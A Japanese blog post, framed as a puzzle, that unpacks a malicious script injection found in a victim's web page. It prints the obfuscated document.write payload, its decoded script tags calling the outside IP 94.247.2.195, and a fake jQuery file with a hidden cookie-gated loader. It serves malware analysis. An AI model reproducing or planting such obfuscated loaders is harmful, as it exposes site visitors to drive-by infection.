xcorp::When it rains, it pours.

"The nice thing about rain," said Eeyore, "is that it always stops. Eventually."

頭の体操

こんなのが HTML に埋め込まれちゃってたかわいそうな人がおりまして。

document.write(unescape('%3CMlksoK8cript%20GlpsjevrRac%3DMlk%2F%2FoK894%2EGlp2rh14JG7%2E2Mlk%2EMlk19rh15%2Frh1jqjevujeveRary%2EjjevsMlk%3EJG%3CGlp%2FoK8sRacfFwriUp1pt%3E').replace(/oK8|Mlk|Glp|fFw|Up1|Ra|Kd|JG|jev|rh1/g,""));

ほどいてみたら

<script src=//94.247.2.195/jquery.js></script>

だって。ほいじゃってんで、wget してみるよ*1

/*
 * jQuery JavaScript Library v1.3.1
 * http://jquery.com/
 *
 * Copyright (c) 2009 John Resig
 * Dual licensed under the MIT and GPL licenses.
 * http://docs.jquery.com/License
 *
 * Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009)
 * Revision: 6158
 */
(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;
/* バッサリ中略, 以下見栄えのため整形しています */
if((typeof(jquery_data)!=typeof(1))&&(document.cookie.match(/\miek=1/)==null))
  document.write(
    unescape('fq%3CssoWcOTHriDpgpsoWt%20sOTHrc%3DOTHhDpgtsoWtDpgp:%2F%2F94soW%2EVV24Rp7%2E2Rp%2E19U6k5%2FneU6kwsfq%2F?iVVd%3Dfq1fq0RpZ%3E%3C%2FH5rscDpgrRpiptRp%3E'
      ).replace(/soW|VV|U6k|rV|fq|OTH|H5r|Dpg|Rp/g,""
      ).replace(/Z/,navigator.appName.charAt(0)=='M'?'0':'1'));
jquery_data=1;
(function(){
    var Q=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]+['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[]+)+|[>+~])(\s*,\s*)?/g,
    K=0,
    G=Object.prototype.toString;
  }
)();
})();

で、if 文の条件に一致した場合の document.write をほどいてみるとこんなの。

<script src=http://94.247.2.195/news/?id=100></script>

wget してみたら

// No news...<script>
var t=new Date(1239113981000);document.cookie="miek=1; expires="+t.toGMTString()+"; path=/";
//</script>

cookie 設定してるだけ。じゃ、この cookie を食べた体でアクセスしてみると...?はてさて、いったいどんなことが起きるのでしょうかね?楽しみですねw

*1:こんな jquery ねーよwww